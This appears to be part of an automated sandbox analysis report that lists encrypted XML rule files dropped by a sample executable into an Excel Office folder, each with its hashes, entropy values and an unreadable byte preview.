Preview:	<?xml.v..-r.........e.....$K.(...r.....I7....H..........H......D..:....83.f..Q.+h3.N..nn..=....j.jmJ.......b.....#...xyQo.........Ss2......=:qX.W"{...t...{...h.9V.1.N..a...Z.Lo..H.i@..7m./...j...6.k.._&CK^..E)....e.y..L...2..&...#.!.>.b...j.R...b7..QB....tt..pjZ.....f(......A.[Q"..j..\|.....{..i..%..t.......A\|m.N.%.+.B..]...08.7b@f...@.R.X,55`.]......4R....Y....6j.[.g?..:$.G.Ebg.&..Z.6._s..<...-O...H...:!o...d...+&T3..W.....k..-.....C...Z....I...x.^;...A.+..g.) r.J....;$>.{K.W.e.......m....@..Z...g.f...e...+A..Qg..D.......h..}b.........j..ki...-g..'9e....A.YPl.<^.....[.5^....$e..f6...........}Wdi%..5..A.WJ ....q5...h.\o..a. M~..&..PD.F^.....y4.CQd....cx[..Z....j.U(:#b&.bN....-M...s4.9......dUqf.\|./.]....to..j...<k..5.v......<.#.z..b..A...........8..Y...uT..2..z<7..\|.......,x.B.U.-.M.4..!&....CO.....[M..$,.X..'V.e..8....7.]....K.t.D.;.$.g.J.....].z...j..C.A..f..M...!...-....z+ 7Z.+..Z...m.>(..X.x.(...]B..W.Y..f.Q....-.IS...NL.T}....:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.836643548488143
Encrypted:	false
SSDEEP:	24:wDFV+baYPVc4Ae6SHoskMancUeahztqsp+bzhYKf6HNE3TOhZBG1BZhImWTCsXZa:JbPrBJbkMancghhqsOzOiONE3z1BfB6+
MD5:	DEE7E10BEA7B7E69EFF38306089EC5C9
SHA1:	C69420DEE19659C2A0250FE2C9CD4DD9E0C8C8B0
SHA-256:	28172B294EA991F3E4F43E5722D26B030FDC5E2990306DA5B585B3CA15DE7CD2
SHA-512:	2D0CC822CD137014DD8F128EDD314845150908739B8706679DC0EAD82D839A98E58A12FAD53A69941B92A509AFE40BD3BAF775EB79D9FFBFC71906526A7CEA52
Malicious:	false
Preview:	<?xmlki2.i..(.Y..$.;.g...........4.......C%......Ve...c.\|.s..GW}..%......)..?.....Oro%8..Z.....LO@t........$..0.\....#=B6(.......l<...l...xq.2g.iQ...&...g13@......_#R..f..!..o.."w...iG..,.Z....AJ..NB.5..AF..&.. .)...k$O..p......rR.:.G0i....<q.q...{e;.XM...d&R!....P...7A..P....8....'....n....h..^.......cD0....4..E.K2.z..s..\|59._(d....1..!.....e..yS9.0.+I.:yR..6.R...N...o..G<..0M.Z.....1.=.:.V'........q)5....+.....T>...........a5rtt..OW...w6.A6`.?A....h....j,:-l`.z...x.ML.......`Y..l.3m..O........~.8o{&+.q9..P....M....]W...c.8..Q..5..w..E..5[.Z..At.(<K.v3_.7i.{.r.S.>.x.S..C...0..[..8.Zc(J.v.JK...J.u..........y...'.A,G.Fg.0......`O.%c...G.Z.{6...f.....V./.~..g.a.}..4.s.3>...Nri.....1&<w{...[tL.?..\|..J...O>..b.z..9z{.l.^.p...Q...x$...D.-..^......NQ..{K...=.@.N.#.D.!v.!....P.x...<N........y(AfM.^QA.H+r;..a}w(.g<M4A.t.....G...8.k..a...0p....p.!...$!.4a..52...+..'.>.eyU..`...f.-@..N^.q...~.....s..Pz.4..._:...s.j....3..."....\|.A.b4..$.j\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.835322999635866
Encrypted:	false
SSDEEP:	24:RSP0D2Vqb2EgdKyUnqgK94ai0rJQGyzSS3GB6QA5ssbUD8lwqw1bD:RqE2Mb2EgdMnDK94ai0CeS+6QA5NbU86
MD5:	C6B803581E633ED1095FD520A44DE73A
SHA1:	A1CD0A73EB20CE278EA7DB8E86203F34B62E966C
SHA-256:	C7792C3DD5274D1CD5723DBF7D31E4C87640CA4C7BD84E92CE1907D533FB7524
SHA-512:	C600CFF94EABBCDA372185B7D546EC3A0A37AE5978E3A11FCAF2693E80E08B2325C198EB01B0FAF643BD42E1282B96A704416F414C95B8D7ED6890BA6899532D
Malicious:	false
Preview:	<?xml0C.M..6S,...8.P.'Cj...b4.........q.j^l...}.P.EEm`....P.I/....n`;..._.>..>.+.d...)Y....1.>.4....g.!..M..W.l,^m.........T.e.rE.....g.)..iT..N....0.c.n%/v.....}....tn...\H...a.z.!1.3..wIvF..V..3....:}..l.7.t...>._..kjk..s.G95.7..x H.....1...4.-DJ{.9......5<b.oh...T....0.@....q=.Vp......V9A.\|F.$...s..k.X.Y.N.QPr.?...!..34....a..<.N..I..J!%..&:y.d. ..K$f.Qi.;\|..%..Y8........:..Q..K..t.pm.`+.V.I7.7.!d.W..`U...yB.N.&w......Z.....c...r..........B....=....Qb3.0,Z..P0].c.k.k..l.LT.}...9..f..;T....t.;.C.x.e~..R.U>d.c8Im...P......>..j..#NU....r.....GA$...?.g..x'y.k8....e..j.v9....N../....f.W.)........]f8.E.6..W!..R6.o.vW+[@.yn.-xO.l."#...Dx.,.'.S[.b. W....V.V.....>......Ga....;QrJ...Z!$.8z.'..6...l.....#..9.5...}c..d.\bI.}j..........gX[.v....8)<..jo<n.t..%......~...,....?q.}...o../g....{...JJu..V.R..N.6......@&..~v.....AP.H...]4..$...S.>H..5........u...7f\tK..0.e.o.:a<~.9.4]..'...3.}..c.=....b..N...........-!+....4M^i...".P5p...~.\|....9...fUG.q.a ._...Y.....V.onf..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.825448083277598
Encrypted:	false
SSDEEP:	24:aq9Jwyzkxu3xeCKEAOnJnDB2g0DnkOMwzf63rsB2kD2HKYzgYZ5pZd2w1bD:aq9J3kxyeCj1N2gw91GbsB2sFYZJd2yD
MD5:	C26E58EE88C2FC3F8249A55A80526CEB
SHA1:	38340566CD6F1F66122FFDB586CBBA8299CCAE48
SHA-256:	3DF0564BC3D63F22F0101F87260E30CB3A3B37A390FF8E1667218FFB0C2FB2A1
SHA-512:	67CA4FB762F945EA9D36B6CB4301CD813965862D5EFE266553163318E1B835F0B039B4B7D38B05B763064B5958A3AA7EA5167E6A977A0B58453DB7E0D4BCDA0B
Malicious:	false
Preview:	<?xml...,.q..5..9/Cx...._.-..i...I.Rl..%.=..o'..".{%;O.S.K...^..:.n.vK\.bj......\|.]o..P..I.8$..9. .P....e1z7.T"~o[u.;...$>..>...>..!....t2j.iQ.-..1....S1O.[\|.n.&.....z....St.P..Gu.^U....ft!Bk..x...S...L.b0]..4.Q]......@....$.....z.Fk...F...`.\|Z....8...R.....L.6V".9.QV.l.........~....q3..M#J....>.^...&)....e#Fi.^...k...@K...<..9......O[....\e7.4]..[.YA...LO...Y.<....M..Xu.S.. ..r../....p1...5-.4........../.4R...XXT#@R.....\|.U.%......w...\KEx..<a..4......W.I.F.B>j1....4$z....e1..".6.6z.,.]...d:}.H......Q...R..h.j.y.R.Ad........-0.c...........T.6u...yh:.2..0...H...-t...ka.......]..3..p.+....>1.ji..t#....c..;..W.y...pe.3..\.K.!6........}..h....e[.>.....m3e[..3.=..X.F....y.#...F..1.+P..}.{.9.l..q..a.,.1.T.Q...A.....jK.F....tH"..xc^sY..H.`.10.......C....L0...........9C\|...X..".S..t.4.i.Mp[..N......w2.F..K{.....h-......BQ...9E.q..].y..S3..nq..3\"......z..{..qY.4....>e.C..uC ..0.S\.._......PS...T....d.0n...@.7.n.+.-z..S..Y..>"*.2..V.4U..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.882235457379165
Encrypted:	false
SSDEEP:	48:OTUR0s87uiyMD2OHeMG+C3X9vjw1D6GFvwyD:OgRX8q9NOwJXJk1GGVwa
MD5:	C31C34F91BD95022B3659E86F882BD4A
SHA1:	84D53118358A8B011FA5C478D8673A9DB8E342C3
SHA-256:	FE2CF0EB769F95ABB621E20762D17B110BDEE1FF33215E20B3C5E27431850729
SHA-512:	A6416AD97C4AEB5F291CBC79EA30803251391C38E9EFE46A4180B63592894929E9C08C4639281805A66FB20218BD5C160A47C12CD1C0B5DDDE543FC024B6318C
Malicious:	false
Preview:	<?xml...x...ts:7i..V.o..O....b.k+.k.u.w..-.{..t.#az..-.b4..B.B.["K..W..r`.3...b...ndD.<./.`.....M..j.].).C...Es-.s.x...tN...o...9g...?.J.Y.5..y.sf..1.2R..3U........N.....=..+.Db..~.......z.\|-.ie[.z....n...<..D.}.<..O...t.@.t..8.J.MbO.S........V."...n..g?.......{..$.9@.+.k.T..:..~.@....3.`..z?.@.`Z...-.U.oo.e"x k5.e.....H...W.n.3....0...s.[t.$..Q...L.4..<p.a..$...F...2,.z...75.s...#_.:_.0v]}....D...t...~.."........}...<g~L.b.....^N.R..x2f'!].`IW[..0...).S.<ne.9n...).u....RV....<.MO..<J.]..S...4MS......o....JQ.<tJ....N7PJd..j.D...b.?.....6.$6.T.G0.....j..q&...=.9..c-..)\.z....a>.{...VP. ..]..,s..A''....t2..j.b..T.......v.']D..Y..C.Y.N..\:.^]f.......u...*8...fO.a.7.}...Qs.lL.9z.....o.q....ZM.jH..t..I......$'gOH.....s]cW......hZ..nO..:..].s.C!`<a"...v.....UN..B..j.g=N...I...x..,....F..G.U.}h.}...i....k...{....w.5......;@/.AR...d....D.....r".._C......1.x...F.R.....i..."......7....\|.....B.O..c.y.<.A..7zE\n.r...a._......a.....T.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.774322726146094
Encrypted:	false
SSDEEP:	24:vr2CME2XHSXp6fd3kgDBMogIRB7t1e+C7A9vhhrCtw1bD:vrFzWSX2d3kmGJIN1e+59vutyD
MD5:	212F24484A9CE5DBB67C4CA2C36AB146
SHA1:	5084EB7E1C30629B83CAA69996F45657E79EDED5
SHA-256:	36DB02437D5696EB739470936B956055421F81A93201726F0458474AED26F377
SHA-512:	91C6160147AE9CC779E6E9F97332F99EAF7F04698368A6EF9D0DBFE7C460DD45D61E8418FAE8CA577199FF38F3A373784FF303AE6C97D9C248CC50DA85688E64
Malicious:	false
Preview:	<?xml....o.k,.g.......k1...#l..G....J>.Z.......=A...</..@E(;.(..tZ3..dS2......q\..!....v...Z...m....WM...........[t..[.F....e.^G......b.c.z..p'.........v.......>..E....!........\|.N..8....3i2...i.......tq..i.!..0...I.\|.7.....[h$..;.}...n~.M..G.x..0C......m..._yN..h^..& ..............K....Q{..Nj....<C..3.......u.:...~....j#${B:eLs.fy.l...]n.z.o..V.o9..J...;..!z..!n.D.s.5i.F..\.<....#........=,..........-t.%....1.\|lE.i.M.FWl..J..<.?.J.&.....,..D........z...4Ssy..;.YZ...z@....)...R....Q@=H......,..7..q..&k.....n...-@...S.CG d...b...=........C.).`.3".......X.(.l..R.........qB..Rz.qAu.mD.b..ee..p//{...7.M.;=...D.`.."U......@.]y..a.er....z.;.-V.....n.....z..S[...?.n.......;..C._.......gx.q{Z_aW....7....,.......l..H0Z..C):Z7;_.$...N...`p3....S..4=..7.&0.....3..........N.L.p.:....$...p.........0\..J.!Ug......i:...a..P..3d.U.6.%p7"..Q..7..7]"M[.1.!!FK.[..\|==A+..E..$S...R.......TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.881756508536245
Encrypted:	false
SSDEEP:	48:rzmlGAbbnaH2VtuKeuY0HZSHbdsPmVuWNZtPqdO95LO4rRyD:rSlXPnVtQ05DCNZAQRa
MD5:	1DBBB26DBE8616BA0A9FE3715903E8A5
SHA1:	01D309617ABC40EC878B4F8D61C0BE933EF04341
SHA-256:	B8EC134B3A6B0C2089A8F0C2C44E47B0E2561A102C3B5EC3B215D0CB299C7D71
SHA-512:	1BD07DAFC95BC03B8351D1D0C1E8585CDC60F0DAF60C792ECE7BEDCD6276F64E053FCF1658251F4D31754A8917555107DDDD0171CC6370860783CCCFD01F6079
Malicious:	false
Preview:	<?xmlZk.t......OR...JG{t.:!....!......1.i8M<P#...>...HaC...Ij...#P@..U).G.......'....v.c0.Ix0.....]..>......Y.+..;.zy....."..3.jZ.....e.>.a.........ql1.?q.).=.m.~(.(b.6qdZ.....h .S\7....v..v.7.....#^_............k).......$...,..C../.O<......2ye.S.....q...s..F.0..k....6.\|.awm.....}..&.-BK....hD.L...8.W8.....xB._b.-....+..1.[Z.&c.o$..W=.7.iG.M.]..u.r..T....,.....6..Ft.......i.e..@......X~..<....d.....iE@..Ico.1....zJ.r.+.B...T.B.T^. ..>..N....6...R...g.n...h.4.@...3..1..)...6#i.]........=....T.o^....$U;...ij..o.Ob...<.kv..P......sV.:..G....$Zo.. .a...b>R.1..].......8jo{.....n...+}i....:...1G.?.G6.......oeb.~wW..}8.....;...q..].A..U}........k...!......9..^.....b.\..A.b..`....$..P_7....l.D....y..(.........'f./.g..y..h...($....]owz...,\|G..0k...&.c....e...o..Z:.2....?}[....G.Kw#G......X.....3.M..V.C...7.!.s...N...y.2...1...j...I..,..s..I..h.lN...;...P.].h!.[}....1.}.~...g.;Y.g.So....q......K@b.T.R*MM.U....}j?.{.Z...tW....A....'..m.Z2.8..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.957314638764184
Encrypted:	false
SSDEEP:	96:jqMk4zPKMH+xdSXoDMrxpEFFsiKB+o1va:jqEKIiSY0EjmU
MD5:	58B4F7428F02382D9C922A00EE6FFF95
SHA1:	89C55B9C9FCE4DD5369AECA4B9D29C4815090A76
SHA-256:	66B945BF207D15C9E363743BDC887883CD8FCB513B393C1AAC4C33B6AF0F1DA4
SHA-512:	4A18FD29FE216856D941C170DA624E39353950E4986C627E7493F7DE972D5FFBD1229FF281E6F9A3A9CE039CFA9882D4E86E37239EF8080C7C12EAA7392AE2CD
Malicious:	false
Preview:	<?xml..... .C.&.a...z9".-.y.F$#M.C?...u......P.+f.W.........tJ/-\|.......$....O]..K.......fj...F..<.Fat..6......Q..1.\...o.._^.z...Ce...To.....rH.\..s.9.......'...B*9.#....wj.{G+.....m....Ph...t.._8b...._..cA....WAC....&+....W.^...."....?...b........QJ.u.#@6y..\..xc...K.OH...,M....+.....G......=W0.5i.K.obEl...c..j.h. #.~.....;....9..V....Vq..3...Y@8zz.6...f...U...C..LBJ..............A..z..f1...[jj.13..#v{<..g.'..\7C]O...%.2.c>.9.....>.C..Pi.a.\|.Hi.......fc.T....N../.....E..Y.Q^.....}.<........U./...)}...qX#.F27..l.....V........l...UJ@...f.k~c....TPR"...a.0....)M.'....h..x...d.U.E\.9T..o.S.Te.......$.(.....w.r.r.JE.h...?8..7g.........9.!......x../Y{....-........g.}.1....A...n.u..#.Z.9.......}bN..PT....\o..bu.3/....k..u.e...#....Ijf.S.~.@.k^...9.'.?l_'.^........&F._.,.&..c"...N.C.....$.Y.XI.V..."....LD....}........+y7...JyR....-Ao.E.<L]a.ek.U.N\0.....F.h..GDhy..P..J..4.a..1...A}...Xf.CZ.m5.R.]...,g.E5...j.....c.....j.hLO.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.864735146558798
Encrypted:	false
SSDEEP:	24:x0x/KQXWYtoMfg6QopSOCf6lIWP4UkcmE+oweuj66hzS4gBmqyuts66rKg9rcHmw:x/QXrfwoIy+WP/1weOR4kWtGd6MpmayD
MD5:	26C0CB2D70D272F410E082DFB837381B
SHA1:	E777F8D6F5CD926C178FACFDFB0852B0A8D41F84
SHA-256:	CCEE23ADDFA94582BBA6B3810D75E62083B8F3221EB00437FF59E1BEDEB4BD39
SHA-512:	0A7D2A1468BE53CC2CE5379271F3A2DE8D4C471FBA3F84216B0B3D4804516DB1326E802394DA501E087ED11B21226CC25AFBD11658BD4A7BDD481CD0DB672CA0
Malicious:	false
Preview:	<?xml!o........8.<S...m...%Y+.....G.LA..........@...pq5.J....g..alL....{:..5.Z..H.......8.....@d...S.v..-c..NVS..x..N(..C.z%..?.:.Z.j..............t~y.'g]..K.!.?PI..S..h..h..%0.....3.;~.j.6..R.m..{....Vu.+......</......m...n../TXG..!...X.t8mdN=."..W......s..UQ.s...C.Z].d}..."...X$..Gu..Y."\.A.{v......s(......f+.....Th<G.r...o/.,O..=...MS9..Z....K....{z.+......j..-.......0w..D....?e.Jo..zf.....).Y.......,q.G.%HB-p.7. .j....N..........p...%U..r.B.y.mK....07..7gm.iu.vE..&""L.0`..T....\.R%...%..4`ep......=..i...#.q.]..AP...G?.\.D.....v..J..N...\|../-V.Z.j.p....7..+.x.a.../.....z..^C.....A.P.....(.b\.]....8..q.6......qw..)e....Y..94..A..D.bp... .)....(.9.#.$A#.I.D-.b........`.7jX...s..F....ML....-.1....&.......\|...P.....l^..J...Z....r..r............[G....I\...=`.2z0....W........d...h'...p...D/.oW.E.>...g....d.....C........KK.7........MLV.O-...\|)dI0......,..}j...GL.....N.1_@...;0/.Q..H..:...).(fC........O..,.gW...z./S/.\|......ebHV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.896580030176432
Encrypted:	false
SSDEEP:	48:+//xq3ujd7ATVA8CE9H4T1l9toZIJ5xJCY+LXyD:+/ksvEeRKEJCY+7a
MD5:	F1F469F56836D78CC9D9E980B19C2836
SHA1:	B04EC5AF5248D210D8CD7B5CA54DC198BD697214
SHA-256:	870CF6420C726894E8693437C427DE5E38DFD65C1207A82A47C598643EE32462
SHA-512:	1AD31D4CB19F776A8E94107EA2FD80FA7D314E7455780695D3EAEFAD73F4CEB11479D5FFBA34ADA5E90EA8E7AD18EDBD4A4D54F5145F64FB008BD7E1F7F5F6CE
Malicious:	false
Preview:	<?xml..O....._..m.35xv.......$5.x..Su.l.6.....Y..k./Qf.Z.]..y...^..%.7)_..y..7..~.........[........UFP.5/....?.D..[.dKP.0.A-.^.u........mdA.t..G.......L.........f...M.I......{.k..2rZ...h..[.&<...U....2..Ec..... o'..g}).v.]......d,.........F...f_.T...sGm$..~.1m.U~.....L.1...Q.c..Mx.......F.....H4...qW.5.....s.6\|..'..........h.V....V....Dad..."..R."g'p...l..KN..4dV..UtG..Zu...A.c.....W...H.^....E...M..y.C..bx[.L...n.q..MP....r\.......mo&...s.D.....v."=.Z..g.B2..r.L...q.1\I.c.#...3.^Us....^....L...#...v...`7.V;rX. .....){..{..]...-.GFG.R.....a..5...I...,...-...z@.A.f.....l.A..h..}Hn.>c.Q.#.9..<?.1j[!.I....&.Xz<u...Uer.G...@..RL......5+..%..S...U....Y..-B......lO_;.c...Xvd..ds...M..<...L.W.`eJ...Y0...K.Q..jL.m...qm@..J}....QG.......0`..2.x2..5..aV...@f...qo.J....+I.l-HAU........T(./G.........B.S.0.....p...-....,b..)LO.D..epS...},.m...2.N.E..=..\6Xa9.Z ,....x.:...Og{.......v.....w3..^..?._...D..[."\|h..]q.....B.qsAL..R.....k.d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.938213965260097
Encrypted:	false
SSDEEP:	96:CTGcNzqaK1JiFESxgUP2VzCP8C6zA3Dlla:1ci1Jimfw113DO
MD5:	1309BF880619EF9FA7402A1A5166C676
SHA1:	28B26D2CEA9B2F9EFDB6501DC0AC1D8D9054F033
SHA-256:	4385B7DAA8AF9E52C3A1C690B39A5902B176321AE534872EE1BEE365226304C4
SHA-512:	D34D6FE29B3E5226086DF8B307A47928B4B50FFDF2E845037F165A65AAC3000F8D4DA2CCB8B36E7ED843B4279B7F1302C4F6D8291FD34586AD638453AA13A5BF
Malicious:	false
Preview:	<?xml.1?.bRv.....(...@..c=.H.k.....I. lN,.....).m.OZ...n...{.....It......X7G....{....#........l.{...a....J6t..3.f.......=_..c..m~....F....Z...f.<K.m..d?R...RC......#KO$k...Dbf...O'...A...M./....z.5..)O.......:)\|...d;...'g..F.\|.+5H/....)..O...................v.ux.f....o.j....`...P.o>..t`..c8.m.$..e..,P...,...t..!..j..R.5..~f..^.../...4.q...i.8T.$._h.3V.....#....d....2..[.o.R_.g.....9..0).AOu..D.3$..L.+/.....M.......,F...e..K}d.a.!...S!.~5$aVd./{....dn8>`.,.._F]V.g.;.5V....r......:.+N.\...e..A..42..lK..H...D.-.."C.Q.&..V.v.].XVo`.Hnn...5[.~..[...Q....(..a......\|.5..K...F)\|O.Z..q......].'.&,....KBU..L+0+.."..:.Z.dj........L.......M..4U..+.W.]..+_..F.Ir..r..l.9.v...q...4..#......oa.de..&..1.6.k..C+......@.)....{<.2n......W....-...f5m*.........[....UgD ..-.u...N.d......7.{..r.Tt....Q.+a,W}....>m+'..J\Lv}..S.7K.......Ij..GwL..Wh.)........F.uLO..........@.~..!.@q&.`.u......gB.....\|.'D.r..XH....&.Rm........9t..M>........Y.(.K1.z......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.799840957557771
Encrypted:	false
SSDEEP:	12:OgqLYTI0TyBbNtX7n6aQFVYYB9u1dh5ulXowN2HO3fmKEpu3NxSj1jkgjg3iKrlu:O3LcAu5H4XulX4uv2p4Sj1jVYXlTw1bD
MD5:	FDF19016617BAF60225E1183A0AAA73A
SHA1:	F77815AAB72D398101AF5BF93E337CC97CA86A2C
SHA-256:	76DDB5D883C0B186EC55713FCD9FA1F23CE96592D205AA8AD90F91CE2B9D168E
SHA-512:	DA8F14EC8E06493D208CAFCBE833E8F532C39032AA543936574E3D7F4ECD6ACAC0E9109054B44C178A026E40A51BB1231891C14C67F7AABBB18838D05FC9F2FB
Malicious:	false
Preview:	<?xml....Oz....@............,..%.h..Q.....f.. ..Q.d.-y..X.....H..8..F.H...b......`..F......#.%.\eX....X..V...\..t ......w....zI....)?.2.tP..y'.o3z..h.......Vz...&l.Ko..F.b.Np......y.t1..KFb....dGCC$L.h.?....CW.cO......"....R.$\|.....'...Y...........e.B.%}...g.....\..^@W..S.JM....6~l.....<.D...jD.?Z(.)/=.........!..`dlxa.."..u...l..<+&....,@........qH..JTc...<.....u.Nw.,+F.%..&..1.w..F\|.{..).S.e.4+..C.....v7F...F...d...v.BJ>.6.1.K...=ym...W.}...%.~..Y$v..'^..@LG..4..+......f.{...B\|cY."`..U}/..L.B.,G.yWJ.p...Q...g....H...V..0..fl".J;..{.s6..k..g..>.....n.rF.........{..m....+,'.6Ql....a..n..A.....!...@.0.f..h....O...R(>`........+...J<..xb.1.]....k.:.r$.-a.d.. .....C.k.t.^#....v..e.(......p.l.,...N.]3...P."hO.z.&...pe...s._1h.....y...EJ......WC...#...^\...-$..Hr..5..,.]..Y.U.d-..2,.G..L..].t..<Sy+l..lF..D..d...E.../.EO..;Z....nA...v.Ts .c..3..iTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.914821026103839
Encrypted:	false
SSDEEP:	48:e0Q8tB1yMU173B4+NAbLj065X6UdyIDnhRwg2RrynyD:usBFU3Mj3TPDn4FRWa
MD5:	3CB95A69EB59ED1F62CAACEC1162CC90
SHA1:	0A4ECAC3A6ACFE3AB3A001B24AF09F660DA6BCDE
SHA-256:	774B809C7890076C51672F1D3E5FACBEF39C67E669101703355B61E6E23E41EC
SHA-512:	9A9076E494B031654280AA4D2F5E5F7096760D2FC1BB760C9569DBCBBC02324D9A5002DB1EE923FCB26CB7B95A94AD55633739550276B7E54915884446381168
Malicious:	false
Preview:	<?xml...X...k...E0K..MFS...a.....U.....q........T...~.47..+..z5@>.p..}..c.{.#..7..$....}.&...i...X.....Ow..u..?R...u.@....~^........M.....,cB}...P.d..0....Q!AGz..%4.[.n..N.u....5'.......6....j.....u.a.u..)....N\.5!...Kr.w9.s.}...@KU.....#E7U......j.<@..qY.:(t....~......`.i......$.:.T.."w3..<.Q%l?...@e..j.u.UT..../F....G. e..].f..[.>8.\..<.....e../...._r...U.S.l...N..}u...^=..<n(.....%...6I...`%v.jG...N].s\....!..srD(.w.Wy.0..Q..F... x.LAr.VC"....j,VD...k..+;..np...1....A..~.....2f.....2T>.F6L..<...g.y&.T!a.'..b=.4...r.R5.....z....e.'5..p..R..Q......4+..%..04{.F..)...-^.E.h6r....'..sNt.E..K.[.Z.B..E:.Cx.q...D-.....u.p...E...NT...b.v.KO..@..x;N.5C&..#.;..R-\|h..S.La.Cnu..'.k..8D._..2.,...G7.S...J0......M...\.#.l.K...?.4........^...[.......j.SFY.;(...'e)Uy.......FU....a!m.Y.0S2.)e..[.d...M..0..+...l...Ar...$.5\.-..9....SN.Hf.K.?F..{.w}.X..~.y^V..&..X...]....}A...\|>..9..j$8.....AD.....d..".4.P.t.......0.[..T.........L.j/.].7....O<...1g(...5.4.Rf.1Yx

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.934852011337111
Encrypted:	false
SSDEEP:	96:F9fvE0+DeENu7rFFPDrVvypWCogQOdAT8l5shjUa:PKDeEQVFLhaovOdZl5sNb
MD5:	C518B0D02EE8D533A92F8D86AE230075
SHA1:	2DC29E243E16CF3F902A970B8B69DC26DAE1AF6D
SHA-256:	96C495162D5A93ACCEDA67CE513FE110A8BEABA6EDEA202E35E91301F77E834F
SHA-512:	D9BEA71B431F9D35E7D20FF45EEE7812A6EA816FED1738EB5BB9B1814280A18D6379C2CC8D6567FC56498C255C2E3C9A7F8BF4D9ED66E29B909D6AE0D668B58A
Malicious:	false
Preview:	<?xml?.Mo6..D3.:..e..C>yLHo.(......S...H.........u..P.........R4...>{:7ZEYl2Jh..J......./..v..$.i...!.E<.q.V2...\|.m.z).G...H.l.].~.qE.P....ndukG....o ......`ZpD..6.O.W6..a.i......H>.y.7.#...^.?P...1[:.(.7;. q}..%P..y..{i@..Uc....6.I}....EdR.@.2R.......9..G..../.....EI &........f'.l.H.DR....m.]YB...C.[.b...k...p..}..\|...+.\.<.I=>..V.D.....{..y..T.O.v.s.KyB^D.k>......F....@.b.\..;.......E.:C'.4.Z.. ...\|.......]X.s.6.S./....Xw......d.m]....^I.{..k0......z...7''?.P......$......%l3{.l..\|@N.....K.9.]...w..D.........k.U...E..K7:2.........I.Z,.8Z......:..<.9}G..Dw..;..ei...O..)..f.....\|.\|.D.Ru..p7....p...,d&sTb..-.....7.....F..?Cv........9+.^/c.?..p4/.)>....4.cUu:f.,r[vb.LN._U..("t"\....&.....\|).l+{./.._...r1:.\|....C.?&#s.T..b.0.j\S..H..T...T.T..._.....I.=Gq....9..U}.........MZ..#...E..Y.E...%.\(..8...7u<.TI..>Z<,.......@p.9X..+K.!..\...WAiDAQ.n;e".`....o._.O.m..n."u.P......;6..5.k......4......<.8Q..cA....d....."..dc.._I....:.P...o.....c.5....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.923336373802866
Encrypted:	false
SSDEEP:	48:bv0lAPflk6EvUvqEBKmm7SkLAF5xIPHIdR9HAUwfhNp78nVfYHc+ZNLyD:4CPF5SmmETxQHIdvH2d8nVfY8+Da
MD5:	B791E09A60A726DD89BE6B2C4167F727
SHA1:	2F0B8E1DEACE1B65EE6079C2C33E0BB33DD09F41
SHA-256:	9494FFCBDFBDE7CAADCD11C88260B5CB64FA6BA02E79BCC4D4B0A2DB69BF92F0
SHA-512:	3A07F126575B4C11EEC206B3E1CDC84D368E86B6D32795209FF3888D58D2508DEE423207CD9526E37AA04BB01DD1B28CCAB0776613E6ACDB52EC38B3BAB0231E
Malicious:	false
